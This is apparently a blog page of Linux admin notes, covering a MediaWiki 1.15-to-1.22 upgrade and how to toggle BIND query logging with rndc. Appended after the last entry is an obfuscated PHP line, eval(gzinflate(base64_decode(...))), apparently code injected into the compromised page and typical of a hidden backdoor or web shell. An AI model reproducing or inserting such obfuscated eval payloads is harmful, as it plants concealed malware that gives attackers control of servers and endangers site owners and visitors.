Entries Tagged as 'Linux'

Media Wiki update from 1.15.x to 1.22.x

I had to update an MediaWiki server due to security issues:

Things I had to do to get it working:

Added in /etc/my.cnf
net_buffer_length=1000000
max_allowed_packet=1000000000

To make import possible from database dump.

Placed new mediawiki server next to the old one. Copies the images en plugins.

Run from the commandline php update.php

All went well.

Turn on BIND server logging to see queries

Q. How do I turn on DNS server logging so that I can see all the queries on my Fedora 14 server?

A. You can use the rndc command which controls the operation of a name server. It supersedes the ndc utility that was provided in old BIND releases. If rndc is invoked with no command line options or arguments, it prints a short summary of the supported commands and the available options and their arguments.

rndc communicates with the name server over a TCP connection, sending commands authenticated with digital signatures.

Task: Turn no logging

Type the following command as root to toggle query logging:
# rndc querylog

Task: View bind server query log

Once this is done, you can view all logged queries using /var/log/messages file. To view those queries, type:
# tail -f /var/log/messages

Task: Turn off logging

Type the following command as root to toggle query logging:
# rndc querylog

eval(gzinflate(base64_decode('vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+X/3xJwBg03ECNxkm9ZINoGHTHWECePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc5K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRLvlmYRhdKIUf3JfwEmvQNIrIbkdOpNSSe/o3KiJhSMq1Fk6i5rCV1llGS6mAH/u/b2UPfZ+d4ApEheT2Ysya14mGnWBPQFn4R9NGrnvS8V90VDyzOqm/odSM0h5p4HPji35xUPBWrl1S+f6f+HzHMbbgsPYDUfXI2E+ms4xPkrv7JO2RQYvBFsQBahOh0EIT7b8A'))); ?>